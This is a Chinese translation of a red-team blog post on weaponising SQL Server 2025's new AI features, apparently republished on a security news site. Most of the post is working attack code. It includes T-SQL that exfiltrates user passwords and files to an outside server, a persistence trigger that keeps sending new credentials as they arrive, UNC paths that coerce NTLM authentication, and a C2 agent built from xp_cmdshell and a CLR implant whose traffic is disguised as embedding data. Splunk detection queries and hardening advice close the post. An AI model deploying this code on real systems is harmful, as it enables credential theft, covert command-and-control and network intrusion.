哎呀,我把数据库武器化了:滥用SQLServer2025中的AI功能

admin 2026-06-17 04:49:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文探讨SQLServer2025新增AI功能的安全风险。利用sp_invoke_external_rest_endpoint可发起HTTPS请求窃取数据,结合触发器实现持久化。使用CREATEEXTERNALMODEL与AI_GENERATE_EMBEDDINGS能在数据库内构建C2通道。利用UNC路径加载模型可强制触发NTLM认证。文章提供了PoC验证攻击手段,指出微软未修复此问题。 综合评分: 95 文章分类: 红队,内网渗透,漏洞POC,AI安全,渗透测试


cover_image

哎呀,我把数据库武器化了:滥用 SQL Server 2025 中的 AI 功能

Justin Kalnasy Justin Kalnasy

securitainment

2026年6月11日 16:04 中国香港

在小说阅读器读本章

去阅读

| 原文链接 | 作者 | | — | — | | https://specterops.io/blog/2026/06/10/oops-i-weaponized-the-database-abusing-ai-features-in-mssql-2025/ | Justin Kalnasy |

TL;DR: Microsoft SQL Server 2025 中新的原生 AI 功能,为在数据库引擎内部进行数据外传和 C2 传输提供了一条可行通道。

Note:本文中的所有 proof-of-concepts (PoC) 都可以在以下 repo 找到:https://github.com/gershsec/mssql2025-poc

前言

我很喜欢在 offensive engagements 中利用 Microsoft SQL Server,因为它看起来总是权限过高、监控不足,这对 lateral movement 很理想。管理员经常在 file shares 中暴露 credentials,运行 MSSQL 的 service accounts 往往拥有过多权限,而一旦 operator 获得访问权限,database engine 本身就已经暴露出大量 post-exploitation primitives。

所以,当 Microsoft 在去年 11 月正式发布 SQL Server 2025 时,我觉得正好可以评估这些新功能,看看它们如何扩展现有 tradecraft。我们开始吧。

新 AI 功能,有人感兴趣吗?

当我第一次听到 Microsoft 将 SQL Server 2025 营销为 AI-enabled platform 时,我的反应大概和大多数人一样:“我们真的需要再加一个更像是在为方案找问题的 AI 功能吗?”

过去几年,每个主要产品都集成了 AI (不管好坏),所以 SQL Server 正式加入这个行列大概只是时间问题。不过,读完 Microsoft 的文档后,很明显 SQL Server 的变化并不只是为了支持 agentic database queries。相反,它们涉及把 database engine 集成进 AI infrastructure stack。这 可能有点意思,那这些功能本身如何?

功能 #1 – sp_invoke_external_rest_endpoint

你没看错。通过实现新的 stored procedure sp_invoke_external_rest_endpoint,本地部署的 SQL Server 现在具备访问任意 REST endpoints 的能力。过去常用 xp_cmdshell、SQL Agent Jobs 或其他嘈杂的 procedures,它们往往只是调用 PowerShell Invoke-WebRequest;现在我们有了向外部主机发起 web request 的原生方式。但大概会有坑,对吧?其实没有。基本上,这个功能要正常工作只有 3 个硬性要求:

  1. 必须为 MSSQL instance 启用该 stored procedure
  2. Requests 必须使用 HTTPS
  3. 远程服务器必须有可验证的 certificate chain

如果你好奇 request payload 是否被限制得很小以避免滥用,答案是否定的:

Payload 在接收和发送时,在线路上传输都采用 UTF-8 编码。在这种格式下,其大小限制为 100 MB

因此,这个 stored procedure 完全符合加入我们工具箱的条件。下面是实际使用这个新 stored procedure 的示例,其中删除了大多数 optional parameters:

DECLARE @response  NVARCHAR(MAX);
EXEC sp_invoke_external_rest_endpoint
@url      = N'https://api.example.com/data',
@method   = 'POST',
@headers  = N'{"Content-Type":"application/json"}',
@payload  = N'{"query":"example"}',
@response = @response OUTPUT;
SELECT @response;

通过这个 query,我们可以访问一个带 trusted cert 的外部 endpoint,发送一定量的数据,并接收 JSON response…但现在加入这个功能的理由是什么?

功能 #2 – CREATE EXTERNAL MODEL

当然是 AI!使用 CREATE EXTERNAL MODEL,可以在 database engine 内定义 external AI embedding model。下面是实际定义 model 的方式,指定 model 的托管位置、使用的 API format、托管 model 的 type 和 name:

CREATE EXTERNAL MODEL example_model
WITH (
LOCATION  = N'https://my-hosted-model.example.com/v1/embeddings',
API_FORMAT ='OpenAI',
MODEL_TYPE = EMBEDDINGS,
MODEL      = N'qwen3-embedding:0.6b'
);

定义好 external model 后,现在可以使用 SQL Server 2025 中实现的另一个新 function 对它进行重复调用。

功能 #3 – AI_GENERATE_EMBEDDINGS

最后要提到的功能是 AI_GENERATE_EMBEDDINGS,它与前面定义的 external model 配合使用。这个 function 会把给定 string 或 character type 发送到指定 embedding model,以生成 JSON vector array。也可以根据 external model endpoint 的要求,选择性指定 JSON request body parameters。执行这个 function 很直接:

SELECT AI_GENERATE_EMBEDDINGS(N'example string' USE MODEL example);

那么,这一切在实践中用来做什么?Retrieval-Augmented Generation (RAG) pipelines

RAG 是一种在 inference time 将 model outputs 锚定到指定 data sources,从而提升 AI model response relevance 的技术。本质上,这允许你在回答 user queries 之前,把 model 的 responses 约束在公司内部 knowledge base 范围内。

SQL Server 2025 引入了适合支持这一能力的功能。它可以充当 RAG workflows 的 storage and retrieval layer,因为 CREATE EXTERNAL MODELAI_GENERATE_EMBEDDINGS和 sp_invoke_external_rest_endpoint等新的 SQL features 支持与 external models 集成、embedding generation,以及 API-driven model orchestration。

少说多做!该看 Proof-of-Concept 了!

现在我们已经介绍了所有新的 AI features,下面开始滥用它们。为了简化这些功能的演示,我们将假设你已经攻陷了 SQL Server 2025 instance 中一个具有 sysadminrole 的 account。虽然还可以授予其他 explicit permissions 来使用这些功能,但在 offensive engagement 中最可能的场景是你落到了一个高权限 SQL account 上 (我们一直遇到这种情况),而不是一个显式拥有 AI model permissions 的 account。

数据外传 #1 – 转储数据库内容

最明显的场景大概是,我们可以搭建一台带 trusted certificate 的 external server,并检索大量 database content。过去你会想避免从 databases 中转储大表,因为这可能占住你的 command and control (C2) comms,或者让一切变得很慢。现在你可以按 100 MB 的 chunks 把这些 databases 移出去。

首先,启用这个 stored procedure,这样我们就可以开始使用 sp_invoke_external_rest_endpoint

EXECUTE sp_configure 'external rest endpoint enabled', 1;
RECONFIGURE;

然后,query 一张 table,并将结果作为 payload 外传到你选择的 server:

DECLARE @payload  NVARCHAR(MAX);
SELECT @payload = (
SELECT username, password
FROMdbo.app_users
FOR JSON AUTO
);
EXEC sp_invoke_external_rest_endpoint
@url      = N'https://10.2.99.3:8081/collect',
@method   ='POST',
@payload  = @payload;

最后,在你的 web server 上接收 table contents:

数据外传 #2 – 转储文件内容

接下来是 file exfiltration。出于与转储大型 database tables 相同的原因,我们通常会避免 large files。现在,如果你对某个 large file 有 read access,就可以让 SQL Server 替你移动它。额外好处是,它会完全使用独立的 HTTPS connection,因此如果你担心触发 security tooling,connection 会从 MSSQL 发起,而不是从你的 C2 agent 发起。

首先,像前面一样启用 stored procedure,并结合 OPENROWSET检索 file contents,然后发送到你的 remote server:

DECLARE @filename NVARCHAR(256) = N'C:\\Windows\\System32\\drivers\\etc\\hosts';
DECLARE @url      NVARCHAR(512) = N'https://10.2.99.3:8081/files?name=hosts.txt';
DECLARE @payload  NVARCHAR(MAX);
SELECT @payload = BulkColumn
FROM OPENROWSET(BULK N'C:\\Windows\\System32\\drivers\\etc\\hosts', SINGLE_CLOB) AS x;
EXEC sp_invoke_external_rest_endpoint
@url      = @url,
@method   ='POST',
@headers  = N'{"Content-Type":"text/plain"}',
@payload  = @payload;

然后,在你的 remote web server 上接收并保存 files:

数据外传 #3 – 持久化外传

换个角度,我们可以用 TRIGGER重新配置第一个 data exfiltration 示例,使其在 table 发生任何变更时执行 HTTPS request。这作为 persistence mechanism 会很有用:你希望持续汇总新的 credentials,但不想每次都发送整张 table。

只需在你选择的 table 上添加一个 TRIGGER,任何变更发生时,你都会收到包含 updated entries 的 POST request:

CREATETRIGGERtr_exfil_usersONdbo.app_users AFTER INSERT AS
DECLARE @payload NVARCHAR(MAX);
SELECT @payload = (SELECT username, password FROM inserted FOR JSON AUTO);
EXEC sp_invoke_external_rest_endpoint
@url      = N'https://10.2.99.3:8081/collect',
@method   ='POST',
@payload  = @payload;

然后你会在 web server 上收到任何更新后的 credentials:

NTLM SMB 强制认证

除了托管在外部互联网的 models,CREATE EXTERNAL MODEL还可以支持 locally-hosted ONNX models。其副作用是,可以用 UNC paths 替代本地 filesystem paths。因此,我们可以通过 SMB 强制 NTLM auth,并捕获 hashes 或 relay 到 domain 中其他位置。

首先,启用支持 ONNX Runtime models 所需的 features:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXECUTE sp_configure 'external AI runtimes enabled', 1;
ALTERDATABASE SCOPED CONFIGURATION SET PREVIEW_FEATURES =ON;
RECONFIGURE WITH OVERRIDE;

定义 ONNX Runtime model,并在 LOCATION或 LOCAL_RUNTIME_PATH中指定由攻击者控制的 UNC paths:

CREATE EXTERNAL MODEL onnx_unc_test
WITH (
LOCATION = '\\ATTACKER\share',
API_FORMAT ='ONNX Runtime',
MODEL_TYPE = EMBEDDINGS,
MODEL ='test’,
LOCAL_RUNTIME_PATH = '\\ATTACKER\share'
);

触发 authentication:

SELECT AI_GENERATE_EMBEDDINGS(N'test' USE MODEL onnx_unc_test);

此时,SQL Server 会因为无法初始化 AIRuntimeHostprocess 而抛出 error:

不过,如果检查你选择的 SMB capture tool 输出,你会看到成功的 NTLM SMB auth coercion:

Note:我在 2026 年 4 月 20 日向 Microsoft 报告了这个 coercion primitive,因为我看不出 SQL Server 上 locally hosted model (按其文档) 有必要通过 SMB 检索。不过,在 2026 年 5 月 12 日,Microsoft 判定由于 file path resolution 的性质,这种行为并不构成 security boundary violation,因此没有达到 security servicing 的标准。这意味着这个问题会继续存在 (至少目前如此)。

原生 C2 传输与 Agent

最后但同样重要的是,你可以把所有这些新 features 组合起来,创建原生 C2 transport and agent,而且全部都在你刚拿下的 SQL Server 中完成。

使用 xp_cmdshell 的简单 C2

如果你只是想要一条简单的一次性 SQL query,把 command output 返回到 remote server,那你找对地方了。这里我们会使用 xp_cmdshell执行 command,以保持简单,但显然可以替换成更合适的 functions。开始吧。

首先,启用 external rest endpoints 和 xp_cmdshell usage:

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC sp_configure 'external rest endpoint enabled', 1;
RECONFIGURE;

接下来,把你的 C2 server 注册为 EXTERNAL MODEL

CREATE EXTERNAL MODEL test_model
WITH (
    LOCATION ='https://10.2.99.3:8081/api/embed', -- Update C2 Server address here
    API_FORMAT ='openai',
    MODEL_TYPE = EMBEDDINGS,
    MODEL ='mock-embedding-model'
);

定义 C2 agent 存储和执行 commands 所需的所有 variables:

DECLARE @resp NVARCHAR(MAX);
DECLARE @cmd NVARCHAR(4000);
DECLARE @result NVARCHAR(MAX);
DECLARE @output TABLE(line NVARCHAR(4000));
DECLARE @sleep VARCHAR(8) ='00:00:10'; -- Update sleep timer here
DECLARE @seconds INT;

设置一个 callback WHILEloop,它会使用 AI_GENERATE_EMBEDDINGScheck in,并存储来自 C2 server 的任何 queued command instructions:

WHILE (1=1)
BEGIN
SET @resp =NULL;
SET @cmd =NULL;
SET @result =NULL;
SET @seconds =NULL;
DELETEFROM @output;

SELECT @resp =CONVERT(NVARCHAR(MAX),
        AI_GENERATE_EMBEDDINGS(
            N'checkin'
            USE MODEL test_model
        )
    );

SELECT @cmd = value FROM OPENJSON(@resp);

解析检索到的 instructions,处理 exits 或 sleep timer changes:

IF @cmd ='exit'
BEGIN
        IF EXISTS (
SELECT1
FROMsys.external_models
WHERE name = N'test_model'
        )
            DROP EXTERNAL MODEL test_model;
            EXEC sp_configure 'external rest endpoint enabled', 1;
            RECONFIGURE;
        BREAK;
    END
    ELSE IF @cmd LIKE N'sleep %'
BEGIN
SET @seconds = TRY_CAST(LTRIM(RTRIM(SUBSTRING(@cmd, 7, LEN(@cmd)))) ASINT);

        IF @seconds BETWEEN 1AND59
SET @sleep ='00:00:'+ RIGHT('00'+ CAST(@seconds ASVARCHAR(2)), 2);
    END
    ELSE

最后,把任何 command instructions 传给 xp_cmdshell,然后再次使用 AI_GENERATE_EMBEDDINGS将结果传回 C2 server,再进入 sleep:

BEGIN
INSERT INTO @output
        EXEC xp_cmdshell @cmd;

SELECT @result = STRING_AGG(CONVERT(NVARCHAR(MAX), line), CHAR(10))
FROM @output;

SELECT AI_GENERATE_EMBEDDINGS(
            @result
            USE MODEL test_model
        );
    END
    WAITFOR DELAY @sleep;
END

就是这样。只需要一条 81 行的 TSQL query,就足以演示如何把这些 features 用作 C2 channel and agent。

提交 query 后,启动运行 HTTPS 的 Python C2 server 并接收 callback:

python3 server.py --api-format openai --cert-file cert.pem --key-file key.pem

看起来不错,但我们还能做得更好。

Embedding CLR C2 Agent

PoC 完成后,要让它 production-ready,我们需要改进几件事。首先,需要抛弃 xp_cmdshell,改用不依赖 xpstar.dll的替代方案。其次,需要改进 C2 transport,不要只是来回发送 raw commands 和 responses (以防 TLS 被解密和检查)。为此,我们将依赖 .NET CLR executable,把它加载为 SQL assembly,然后通过 stored procedure 调用它。由于涉及不少 code,我们重点看 CLR assembly 和 supporting MSSQL queries 的关键功能。

CLR Assembly

为了执行 agent,我们首先把 check-in entry point 暴露为 SqlProcedure,这样就可以在 SQL query 中通过 stored procedure 调用它:

[SqlProcedure]
publicstaticvoid clr_checkin(SqlString modelName, SqlInt32 intervalSec)
{
string model = modelName.IsNull ? "qwen3_svc" : modelName.Value;
int&nbsp;interval = (intervalSec.IsNull || intervalSec.Value <=&nbsp;0)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;? 30_000
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: intervalSec.Value *&nbsp;1000;
&nbsp; &nbsp; ...
}

这次我们要处理 encrypted、encoded 和 vector data,因此需要 placeholder variables 来保存 beacon messaging 的各个阶段:

string&nbsp;beaconMsg &nbsp; &nbsp; = $"B|{AgentId}|{host}|{user}|{lastAck}|{seq}";
string&nbsp;encodedBeacon = TokenIdEncode(XorCrypt(Encoding.UTF8.GetBytes(beaconMsg)));
string&nbsp;vecJson &nbsp; &nbsp; &nbsp; = CallEmbeddings(encodedBeacon, model);

为了处理 check-ins 和 instructions,我们会从 CLR 自身执行本地 SQL query,该 query 会使用 AI_GENERATE_EMBEDDINGS

using&nbsp;(var&nbsp;conn =&nbsp;new&nbsp;SqlConnection("context connection=true"))
{
&nbsp; &nbsp; conn.Open();
string&nbsp;sql =
"DECLARE @v NVARCHAR(MAX); "&nbsp;+
&nbsp; &nbsp; &nbsp; &nbsp; $"SELECT @v = CONVERT(NVARCHAR(MAX), "&nbsp;+
&nbsp; &nbsp; &nbsp; &nbsp; $"AI_GENERATE_EMBEDDINGS(N'{tokenEncoded}' USE MODEL {modelName})); "&nbsp;+
"SELECT @v;";
&nbsp; &nbsp; ...
}

Note:通过使用 context connection=true,我们是在复用现有 in-process SQL session 来执行 query,而不是为每个 callback 新建一个 SQL connection。

我们解密传入的 instructions,并确定 command request:

byte[] responseBytes = XorCrypt(DecodeVector(vecJson));
string&nbsp;response &nbsp; &nbsp; &nbsp;= Encoding.UTF8.GetString(responseBytes).TrimEnd('\\0');

由于我们已经配置 C2 server 将 check-in/instruction strings 转换为 vector arrays,因此还需要根据定义好的 codec 解码这段 traffic (在这个例子中模拟成 qwen3-embedding data):

intlength&nbsp;= (int)Math.Round(vec[0] * LenScale);
for&nbsp;(int&nbsp;i = 0; i <&nbsp;length; i++)
&nbsp; &nbsp; result[i] = (byte)Math.Min(255, Math.Max(0,
&nbsp; &nbsp; &nbsp; &nbsp; (int)Math.Round(vec[i + 1] * ByteScale + 127.0f)));

指令解密并解码后,我们使用 P/Invoke 通过 CreateProcessW直接调用 cmd.exe /c,作为 xp_cmdshell的 drop-in replacement:

var&nbsp;cmdLine =&nbsp;new&nbsp;StringBuilder("cmd.exe /c "&nbsp;+ command);

bool&nbsp;ok = Win32.CreateProcessW(
null, cmdLine,
&nbsp; &nbsp; ref pa, ref ta,
true,
&nbsp; &nbsp; Win32.CREATE_NO_WINDOW,
&nbsp; &nbsp; IntPtr.Zero,&nbsp;null,
&nbsp; &nbsp; ref si, out pi);

最后,我们加密并编码输出,使其看起来像 AI embedding data,然后通过前面定义的 embeddings function 发送出去:

string&nbsp;output = isQuery ? RunQuery(command) : RunCmd(command);
string&nbsp;outMsg = $"O|{AgentId}|{taskId}|{output}";
string&nbsp;encodedOut = TokenIdEncode(XorCrypt(Encoding.UTF8.GetBytes(outMsg)));
CallEmbeddings(encodedOut, model);

为了让 demo 保持简单,在编码时,我们只是用空格排列 XOR-encrypted bytes,使其看起来像通用 byte data:

privatestaticstring&nbsp;TokenIdEncode(byte[] data)
{
var&nbsp;parts =&nbsp;newstring[data.Length];
for&nbsp;(int&nbsp;i =&nbsp;0; i < data.Length; i++)
&nbsp; &nbsp; &nbsp; &nbsp; parts[i] = data[i].ToString(CultureInfo.InvariantCulture);
returnstring.Join(" ", parts);
}

现在我们有了一个可用的 .NET CLR,可以 in-memory load 它来模拟 embedding-style traffic 并替换 xp_cmdshell。如果你想知道这类 traffic 在线路上会是什么样:

看起来不错!剩下的只有配置 database 以支持 agent。

MSSQL Deployment

首先,配置所有 prerequisites:

EXEC sp_configure&nbsp;'show advanced options',&nbsp;1;
RECONFIGURE;
EXEC sp_configure&nbsp;'clr enabled',&nbsp;1;
RECONFIGURE;
EXEC sp_configure&nbsp;'clr strict security',&nbsp;0;
RECONFIGURE;
ALTERDATABASE&nbsp;[c2lab]&nbsp;SET&nbsp;TRUSTWORTHY&nbsp;ON;

然后,把 C2 server 注册为 EXTERNAL MODEL

CREATE EXTERNAL MODEL qwen3_svc
WITH (
&nbsp; &nbsp; LOCATION &nbsp;=&nbsp;N'https://10.2.99.3:5000/v1/embeddings',
&nbsp; &nbsp; API_FORMAT&nbsp;='OpenAI',
&nbsp; &nbsp; MODEL_TYPE&nbsp;=&nbsp;EMBEDDINGS,
&nbsp; &nbsp; MODEL &nbsp; &nbsp; &nbsp;=&nbsp;N'qwen3-embedding:0.6b'
);

在 memory 中加载 CLR assembly,并通过 stored procedure 暴露:

CREATE ASSEMBLY SqlC2Agent
FROM&nbsp;0x<HEX>
&nbsp; &nbsp; WITH PERMISSION_SET&nbsp;=&nbsp;UNSAFE;

CREATE PROCEDURE&nbsp;dbo.clr_checkin
&nbsp; &nbsp; @model_name &nbsp; NVARCHAR(128)&nbsp;=&nbsp;N'qwen3_svc',
&nbsp; &nbsp; @interval_sec&nbsp;INT=30-- Initial sleep timer
AS&nbsp;EXTERNAL NAME SqlC2Agent.[SqlC2Agent.SqlEntry].clr_checkin;

Note:通过加载 assembly 的 hex bytes,我们可以避免把 files drop 到 disk。

CLR 已经加载到 memory 后,让我们通过 stored procedure 启动 implant:

EXEC dbo.clr_checkin
&nbsp; &nbsp; @model_name = N'qwen3_svc',
&nbsp; &nbsp; @interval_sec = 30;

现在我们可以再启动一个 Python C2 server,这次带一个 API,让结构更模块化:

C2 server 按预期工作,所以我们给它前面加一个 terminal user interface,使用新的 C2 channel 玩起来:

TLS_CERT=cert.pem TLS_KEY=key.pem python3 c2_console.py

如你所见,将新的 AI functions 与现有 features 结合,可以形成非常 robust 的 MSSQL tradecraft。在如何传输 data 以模拟真实 model traffic 方面,也有很大的 creative space。

防御考虑

现在我们已经充分滥用了这些新 features,花点时间谈谈如何防御。新 features 的问题在于,它们通常会先进入市场,而我们的 security tools 还来不及跟上。我整理了下面的列表,作为在 SQL Server 2025 中针对这些新 features 滥用进行 alert 的起点。

  1. SQL Server 账户审查

最明显的一点大概是,审查所有 SQL Server database logins,无论新旧,并在可能时移除 sysadmin permissions。我们太常发现 web applications 的 database connection strings 中包含具有 sysadmin roles 的 account。如果你的 app 只执行标准 database queries 和 writes,就需要 sysadmin privileges。

  1. 审计并针对 xp_cmdshell、SQL Agent Jobs 和 CLR Assemblies 的使用发出 alert

由于 attackers 仍然需要 code execution primitives,你也应该对这些内容发出 alert。它们当然有 legitimate use cases,但并不常见。如果你不使用这些 features,确保它们被禁用,并对任何 usage attempts 立即 alert:

#&nbsp;xp_cmdshell Usage

index=*"xp_cmdshell"
| spath path=statement output=statement
| spath path=sql_text output=sql_text
| eval sql=coalesce(statement, sql_text, _raw)
| where&nbsp;match(sql,&nbsp;"(?i)\\bxp_cmdshell\\b")
| table _time host server_principal_name database_name sql
| sort&nbsp;-&nbsp;_time

#&nbsp;SQL Agent Usage

index=*&nbsp;("sp_add_job"OR"sp_update_job"OR"sp_delete_job"OR"sp_add_jobstep"OR"sp_start_job"OR"sp_stop_job"OR"sp_add_schedule"OR"sp_attach_schedule")
| spath path=statement output=statement
| spath path=sql_text output=sql_text
| eval sql=coalesce(statement, sql_text, _raw)
| where&nbsp;match(sql,&nbsp;"(?i)\\b(sp_add_job|sp_update_job|sp_delete_job|sp_add_jobstep|sp_start_job|sp_stop_job|sp_add_schedule|sp_attach_schedule)\\b")
| table _time host server_principal_name database_name sql
| sort&nbsp;-&nbsp;_time

#&nbsp;CLR Assembly Usage

index=*&nbsp;("CREATE ASSEMBLY"OR"ALTER ASSEMBLY"OR"DROP ASSEMBLY"OR"AS EXTERNAL NAME")
| spath path=statement output=statement
| spath path=sql_text output=sql_text
| eval sql=coalesce(statement, sql_text, _raw)
| where&nbsp;match(sql,&nbsp;"(?i)\\b(CREATE|ALTER|DROP)\\s+ASSEMBLY\\b")
&nbsp; &nbsp; OR&nbsp;match(sql,&nbsp;"(?i)\\bAS\\s+EXTERNAL\\s+NAME\\b")
| table _time host server_principal_name database_name sql
| sort&nbsp;-&nbsp;_time
  • 需要使用 SQL Audit 或 Extended Events,并暴露 SQL text
  • Native SQL Server logs 不会可靠记录每一次 xp_cmdshell、SQL Agent 或 CLR execution,因此需要生成 custom logs
  1. 针对 sys.external_models的任何变更发出 alert

发现 model abuse 的一个简单方法是记录 sys.external_models的任何变更,并在 SIEM 中设置 alerts;这些变更表明有 rogue EXTERNAL MODEL被创建:

index=* ("CREATE EXTERNAL MODEL"&nbsp;OR&nbsp;"ALTER EXTERNAL MODEL"&nbsp;OR&nbsp;"DROP EXTERNAL MODEL")
|&nbsp;spath path=statement output=sql
|&nbsp;eval sql=coalesce(sql, _raw)
|&nbsp;rex field=sql&nbsp;"(?i)\\b(?<action>CREATE|ALTER|DROP)\\s+EXTERNAL\\s+MODEL\\s+(?<model_name>\\[[^\\]]+\\]|[^\\s;(]+)"
|&nbsp;table _time host action model_name sql
|&nbsp;sort - _time
  • 需要 SQL Audit 或 Extended Events,并暴露 DDL text
  • Native SQL Server logs 通常不会以 searchable form 记录 CREATE/ALTER/DROP EXTERNAL MODEL statements,因此需要生成 custom logs
  1. 针对 sp_invoke_external_rest_endpoint的启用发出 alert

如果你没有使用 AI models,大概率甚至不需要 sp_invoke_external_rest_endpoint,因此可以为该 feature 的启用设置 alerts:

index=*"external rest endpoint enabled"
|&nbsp;table _time host&nbsp;source&nbsp;_raw
|&nbsp;sort - _time
  • 由 native SQL Server ERRORLOG 覆盖
  1. 阻止 SQL Server 到 unknown domains 的 egress traffic

这一点不言自明,但无论是否使用 AI features,创建 firewall 或 proxy rules 来阻止从 SQL Server 到 unknown domains 的 HTTPS traffic,都会直接切断 egress。如果你正在使用 AI features,请把 models 托管在你的 network IP space 内,这样就可以完全阻止所有 internet-bound traffic。

  1. 理解并 baseline 你的 model traffic

回到我们的 CLR C2 Agent,把它的 traffic (右) 与 legitimate embedding traffic (左) 做个比较:

现在问问自己,一个未经训练的 analyst 真能看出差异吗?大概不能。准确了解你的 traffic 应该是什么样,并训练 analysts 和 security tools,正是让 anomalies 浮出水面的方式。

结束语

最后,讨论一下这些新 features 在 production environment 中的影响。

如果抛开新的 AI features 的细节,我们看到的是 database engine 发出 egress HTTPS traffic 正在被正常化。这是一个非常棘手的概念,因为几十年来我们都被训练成:来自 database engine 的 egress web traffic 是 malicious activity 的明显 indicator。一旦开始使用这些 features,我们的 analysts 和 security tooling 就必须调整为检查 traffic 和 queries 本身的内容,而这比简单地判断 egress = bad 要复杂得多。

更糟的是,REST requests 的 100 MB size limit 简直是在邀请滥用。一个有决心的 threat actor 可以轻松设置 asynchronous queries 来外传并重组大量 data chunks;有了 cloud-hosted servers,throughput 也不会成为问题。

最后,我们还看到了将 (大体上) 按预期使用的 features weaponize 的能力。遗憾的是,我们通常不会对“按预期使用”发出 alert。在缺少配套 additional security controls 的情况下推广这些新 features,会让整个行业处于不利位置,从一开始就被迫追赶。Behavior 需要时间才能在 modern security solutions 中建立 baseline,而添加 supplementary controls 的负担完全落到了 administrator 身上。只是告诉 users 实施 strong access controls 并 monitor,但不给出明确 guidance,是不够的。

研究和 weaponize 这些 features 很有意思,其中一些仍有继续扩展的空间。我花了相当多时间观察 expected model behavior,以及如何最好地把它整合进 C2 channels。即使跳出 SQL Server 2025,weaponize AI-enabled software 的能力也只会继续发展,这会让 offensive security 领域在 C2 traffic 的外观和行为上有更多创造空间。设计 traffic 来模拟各种 frontier 和 open AI models,会带来一种 C2 profile emulation 机会,类似我们在 Malleable C2 profiles 引入时看到的情况。令人兴奋的时代。


免责声明:本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:securitainment Justin Kalnasy Justin Kalnasy《哎呀,我把数据库武器化了:滥用 SQL Server 2025 中的 AI 功能》

评论:0   参与:  0